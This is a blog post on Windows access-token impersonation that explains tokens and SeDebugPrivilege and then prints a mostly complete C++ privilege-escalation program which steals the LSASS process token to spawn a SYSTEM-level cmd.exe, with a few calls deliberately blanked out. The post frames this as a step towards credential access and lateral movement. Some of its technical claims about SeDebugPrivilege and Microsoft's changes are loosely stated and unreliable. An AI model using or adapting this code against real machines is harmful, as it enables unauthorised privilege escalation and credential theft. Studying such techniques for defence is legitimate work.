Access Token Impersonation

NyaMeeEain
6 min readAug 1, 2023

--

What are Windows tokens?

Windows access token plays a significant role in the window operation system. Windows access tokens contain a security object that contains information about a user’s identity and privileges.

When a user login to a Windows operation system with their credential, Local Security Authority (LSA) checks whether the credential is valid. Once the user has been authenticated, the LSA creates a new logon session to produce an access token that verifies who the user is and what they can access resources within the window.

The access token is then used to identify the user when they access resources on the system. Each Windows process on the Windows operating system has its access token that determines what they are allowed to access in the window, as when a user initiates a process, the process inherits the user’s access token and associated privileges. The access token is then used to check permissions whenever the process attempts to access system resources or perform privileged operations.

The window access token contains the following information:

1. The user’s security identifier (SID)

2. The user’s group memberships

3. The user’s privileges

4. The logon ID of the user’s logon session

The user’s SID is a unique identifier that is assigned to each user when they are created. The user’s group memberships identify what groups the user belongs to. Users’ privileges determine their access to resources within the window and domain computer. The logon ID is a unique identifier assigned to each logon session.

Why do we need to care about Access tokens from an offensive security perspective?

Window Defender triggers an antivirus alert when you touch LSASS.exe immediately, even if you are an administrator, due to not having SeDebugPrivilege. Do you know why?

Figure 1: It looks like ‘SeDebugPrivilege’ is removed from the administrator group

Recently Microsoft removed SeDebugPrivilege from the administrator group to prevent potential credential compromise as ransomware and Advanced Persistent Threats (APT) leverage the ‘SeDebugPrivilege’ privilege to elevate nt authority\system from administrator order to gain access to credential access and control over the compromised systems.

The SeDebugPrivilege privilege is a powerful privilege that allows system users to back up any process running on the window operation system. This privilege is not granted to the administrator group by default because it can be used to gain unauthorized access to credentials.

In the event that adversaries gain access to a corporate workstation with weak credentials and compromised credentials, either via phishing emails or vulnerable-facing public web applications, the adversary’s objective is to elevate to local administrative privilege to access credential that allows them to move laterally within the compromised network.

If adversaries obtain the credential from window memory, they can use compromised credentials to impersonate others. Therefore, we need to elevate nt authority\system from the administrator to gain access to credential access and to have “sedebugprivilege” on the compromised box.

In this AccessToken Impersonation, I demonstrated to elevate nt authority\system from administrator to gain access to credential access and to have “sedebugprivilege” on the compromised box.

A high-level overview of this program is as follows:

The main objective of this AccessToken Impersonation is to impersonate the user associated with a specified process and create a new process with their privilege.

The program prompts you to enter the PID of the process we want to impersonate. In this demonstration, pid id 660, which is LSASS.exe. Then, it uses the GetProcessTokenHandle function to get the token handle of the specified process token.

If the token handle is successfully obtained, ImpersonateUserAndCreateProcess function is used to impersonate the user associated with the token and create a new process. Finally, get the current user’s username and obtain the token handle of a specified process.

In these functions, we enable SeDebugPrivilege for the current process, retrieve the user’s username, and get the token handle of the process we want to impersonate. If the impersonation is successful,spawn to cmd.exe as nt authority\system privileges.

To impersonate access tokens, the most common APIs are ImpersonateUser, DuplicateTokenEx, SetPrivilege, and CreateProcessWithTokenW. I will walk you through each of them to gain insight into the API.

ImpersonateUser syntax is the following:

BOOL ImpersonateLoggedOnUser(
HANDLE hToken
);

ImpersonateUser lets us impersonate the specific running process on the window operation system. The hToken parameter handles the user's token that we want to impersonate.

DuplicateTokenEx syntax is the following:

BOOL DuplicateTokenEx(
HANDLE hExistingToken,
DWORD dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType,
PHANDLE phNewToken
);

DuplicateTokenEx is a Windows API function provided by Microsoft. The primary objective is to create a new access token with existing access token privileges if the process we want to impersonate has duplicate and impersonate flags. without ‘impersonate’ and ‘duplicate’ attributes, impossible to impersonate the access token.

SetPrivilege syntax is the following:

BOOL SetPrivilege(
_In_ HANDLE hToken,
_In_ LPCTSTR lpszPrivilege,
_In_ BOOL bEnablePrivilege
);

The SetPrivilege API enables a specified token we want to access, allowing the process to perform certain actions requiring specific privileges.

CreateProcessWithTokenW syntax is the following:

BOOL CreateProcessWithTokenW(
HANDLE hToken,
DWORD dwLogonFlags,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInfo
);

CreateProcessWithTokenW API function is used to create a new process running with the rights and permissions of another user, typically a higher-privileged user or an impersonated user. This function is useful for scenarios where a process needs to be created with elevated privileges without requiring the user to enter their credentials.

The full code is as follows. A few codes have been removed intentionally due to the educational nature of this code.

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <comdef.h>

using namespace std;

BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege);
string GetUsername();
HANDLE GetProcessTokenHandle(DWORD processIdToImpersonate);
BOOL ImpersonateUserAndCreateProcess(HANDLE tokenHandle);

class TokenException : public exception
{
public:
TokenException(const char* message) : exception(message) {}
};

class ProcessException : public exception
{
public:
ProcessException(const char* message) : exception(message) {}
};

BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tokenPrivileges;
LUID privilegeLuid;

if (!LookupPrivilegeValue(NULL, lpszPrivilege, &privilegeLuid))
{
throw TokenException("Failed to lookup privilege value.");
}

tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = privilegeLuid;
tokenPrivileges.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : 0;

if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
throw TokenException("Failed to adjust token privileges.");
}

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
throw TokenException("Not all privileges are assigned.");
}

return TRUE;
}

string GetUsername()
{
TCHAR username[UNLEN + 1];
DWORD usernameLen = UNLEN + 1;
GetUserName(username, &usernameLen);
wstring usernameW(username);
string usernameS(usernameW.begin(), usernameW.end());
return usernameS;
}

HANDLE GetProcessTokenHandle(DWORD processIdToImpersonate)
{
HANDLE currentTokenHandle = NULL;

BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE);

HANDLE processHandle = <>, processIdToImpersonate);
if (GetLastError() != NULL)
{
processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, processIdToImpersonate);
}

HANDLE tokenHandle = NULL;
BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);

CloseHandle(currentTokenHandle);
CloseHandle(processHandle);

if (getToken == 0)
{
throw TokenException("Failed to get token handle.");
}

return tokenHandle;
}

BOOL ImpersonateUserAndCreateProcess(HANDLE tokenHandle)
{
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (impersonateUser)
{
printf("[+] Current user is: %s\n", (GetUsername()).c_str());
RevertToSelf();
}

HANDLE duplicateTokenHandle = NULL;
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);

if (duplicateToken == 0)
{
throw TokenException("Failed to duplicate token.");
}

STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;

ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);

BOOL createProcess = CreateProcessWithTokenW(<>, <> NULL, 0, NULL, NULL, &startupInfo, &processInformation);

CloseHandle(duplicateTokenHandle);

if (!createProcess)
{
throw ProcessException("Failed to create a new process.");
}

return createProcess;
}

int main()
{
char processIdInput[10];
DWORD processIdToImpersonate;
HANDLE tokenHandle;
BOOL impersonateSuccess;

do
{
cout << "Enter the PID of the process to impersonate (or enter '0' to exit): ";
cin.getline(processIdInput, sizeof(processIdInput));

if (strcmp(processIdInput, "0") == 0)
{
break; // Exit the loop if the user enters '0'
}

processIdToImpersonate = atoi(processIdInput);
tokenHandle = GetProcessTokenHandle(processIdToImpersonate);

if (tokenHandle == NULL)
{
printf("Failed to get the token handle for the specified process.\n");
continue; // Continue to the next iteration if getting the token handle fails
}

impersonateSuccess = ImpersonateUserAndCreateProcess(tokenHandle);
if (!impersonateSuccess)
{
printf("Failed to impersonate user and create a new process.\n");
}

CloseHandle(tokenHandle);
} while (true);

return 0;
}
Figure 2: It looks like the token exe program was successfully impersonated to the system user and spawned to cmd.exe
Figure 3: ‘SeDebugPrivilege’ privilege was enabled and allowed to backup running any process on the window operation system.

References:

I would like to credit the following authors and reference sources to achieve this project demonstrating user impersonation and access token manipulation. I have gained knowledge and ideas from these sources. They have helped me better understand this topic and develop my ideas and code snippets; however, a few Code snippets from the sources have been adapted.

https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
https://0x00-0x00.github.io/research/2018/10/17/Windows-API-and-Impersonation-Part1.html
https://www.elastic.co/blog/introduction-to-windows-tokens-for-security-practitioners
https://juggernaut-sec.com/lateral-movement-token-impersonation/
https://www.cnblogs.com/zpchcbd/p/12906322.html
https://www.anquanke.com/post/id/187895

--

--

No responses yet